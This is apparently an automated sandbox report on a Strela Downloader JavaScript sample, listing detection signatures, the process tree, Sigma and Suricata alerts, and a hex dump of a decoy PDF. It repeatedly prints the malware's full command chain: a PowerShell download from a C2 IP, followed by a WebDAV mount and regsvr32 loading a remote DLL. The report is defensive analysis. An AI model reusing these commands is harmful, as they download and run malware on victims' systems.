Edit tour

Windows Analysis Report
1383920648257922108.js

Overview

General Information

Sample name:	1383920648257922108.js
Analysis ID:	1588827
MD5:	51eeab81c9183c38ddce5456805d27be
SHA1:	af79280e090543ccbf2c14162ab6361e32594034
SHA256:	c0f12793d6237dee29ab8ab71d52d3ccfff78ed519a4908e077fbfc385d16c53
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1704 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2492 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3632 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 916 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6988 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7416 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2348 --field-trial-handle=1528,i,17082125042189187167,13737739473756147948,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5928 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5000 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7228 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1704	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3632, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3632, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js", ProcessId: 1704, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5000, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ProcessId: 2492, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ProcessId: 2492, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ProcessId: 2492, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ProcessId: 2492, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ProcessId: 2492, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js", ProcessId: 1704, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3632, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5928, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5000, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7228, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5928, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5000, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll, ProcessId: 2492, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:03:09.771111+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:03:12.377117+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:03:09.771111+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1383920648257922108.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1383920648257922108.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1383920648257922108.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:03:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 